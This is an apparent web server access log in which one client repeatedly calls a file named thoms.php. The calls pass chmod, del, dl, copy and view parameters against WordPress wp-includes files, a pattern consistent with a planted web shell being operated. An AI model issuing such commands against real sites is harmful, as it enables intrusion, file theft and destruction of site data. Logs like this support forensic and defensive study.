45.135.193.11 - - [11/Sep/2026:23:08:57 -0400] "GET /thoms.php?chmod=class-wp-http-cookie.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-cookie.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:57 -0400] "GET /thoms.php?del=class-wp-block-processor.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?del=class-wp-block-processor.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:57 -0400] "GET /thoms.php?dl=class-wp-block.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-block.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:58 -0400] "GET /thoms.php?chmod=class-wp-post-type.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post-type.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:57 -0400] "GET /thoms.php?dl=class-wp-meta-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?dl=class-wp-meta-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:58 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fblock-bindings HTTP/1.1" 200 13283 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fblock-bindings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:58 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=author-template.php HTTP/1.1" 200 18291 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=author-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:58 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:58 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php HTTP/1.1" 200 13456 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:58 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-meta-query.php HTTP/1.1" 200 21015 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-meta-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:58 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-walker.php HTTP/1.1" 200 15562 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-walker.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:58 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcomment.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11862 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcomment.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:58 -0400] "GET /thoms.php?del=class-wp-block-type-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57902 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:59 -0400] "GET /thoms.php?chmod=l10n&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=l10n&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:59 -0400] "GET /thoms.php?chmod=class-phpmailer.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-phpmailer.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:58 -0400] "GET /thoms.php?dl=post.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57900 "http://163.245.207.76:443/thoms.php?dl=post.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:59 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php HTTP/1.1" 200 13076 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:59 -0400] "GET /thoms.php?del=spl-autoload-compat.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=spl-autoload-compat.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:59 -0400] "GET /thoms.php?chmod=class-wp-plugin-dependencies.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=class-wp-plugin-dependencies.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:59 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=media.php HTTP/1.1" 200 83001 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:00 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php HTTP/1.1" 200 14515 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:59 -0400] "GET /thoms.php?del=Text&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57879 "http://163.245.207.76:443/thoms.php?del=Text&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:00 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-tax-query.php HTTP/1.1" 200 18357 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-tax-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:00 -0400] "GET /thoms.php?del=class-wp-dependencies.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57901 "http://163.245.207.76:443/thoms.php?del=class-wp-dependencies.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:00 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:00 -0400] "GET /thoms.php?dl=class-wp-theme-json-schema.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-schema.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:00 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fbuild HTTP/1.1" 200 13450 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fbuild" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:00 -0400] "GET /thoms.php?dl=class-wp-theme-json.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:00 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fsodium_compat&p= HTTP/1.1" 200 11980 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fsodium_compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:01 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&settings=1 HTTP/1.1" 200 11928 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:01 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fatomlib.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fatomlib.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:01 -0400] "GET /thoms.php?del=theme-compat&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=theme-compat&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:01 -0400] "GET /thoms.php?dl=kses.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?dl=kses.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:01 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:01 -0400] "GET /thoms.php?chmod=class-wp-customize-setting.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-setting.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:01 -0400] "GET /thoms.php?del=class-simplepie.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-simplepie.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:01 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:01 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2FPHPMailer&p= HTTP/1.1" 200 11985 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2FPHPMailer&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:02 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=category-template.php HTTP/1.1" 200 28729 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=category-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:02 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-locale.php HTTP/1.1" 200 15885 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:02 -0400] "GET /thoms.php?chmod=class-wp-speculation-rules.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-speculation-rules.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:02 -0400] "GET /thoms.php?del=category.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=category.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:02 -0400] "GET /thoms.php?dl=class-wp-http-ixr-client.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-ixr-client.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:02 -0400] "GET /thoms.php?del=class-wp-oembed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11836 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:03 -0400] "GET /thoms.php?chmod=fonts&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=fonts&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:03 -0400] "GET /thoms.php?del=class-wp-styles.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57940 "http://163.245.207.76:443/thoms.php?del=class-wp-styles.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:03 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Finteractivity-api HTTP/1.1" 200 13168 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Finteractivity-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:03 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-json.php HTTP/1.1" 200 22277 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:03 -0400] "GET /thoms.php?del=class-wp-token-map.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-token-map.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:03 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=bookmark-template.php HTTP/1.1" 200 15874 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=bookmark-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:03 -0400] "GET /thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:04 -0400] "GET /thoms.php?chmod=class-wp-network-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:03 -0400] "GET /thoms.php?dl=atomlib.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=atomlib.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fgeneral-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11831 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fgeneral-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:04 -0400] "GET /thoms.php?chmod=class-walker-category-dropdown.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category-dropdown.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:04 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php HTTP/1.1" 200 15725 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:04 -0400] "GET /thoms.php?del=PHPMailer&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=PHPMailer&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:04 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-embed.php HTTP/1.1" 200 17492 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:05 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-feed-cache.php HTTP/1.1" 200 12419 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-feed-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:05 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php HTTP/1.1" 200 14253 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
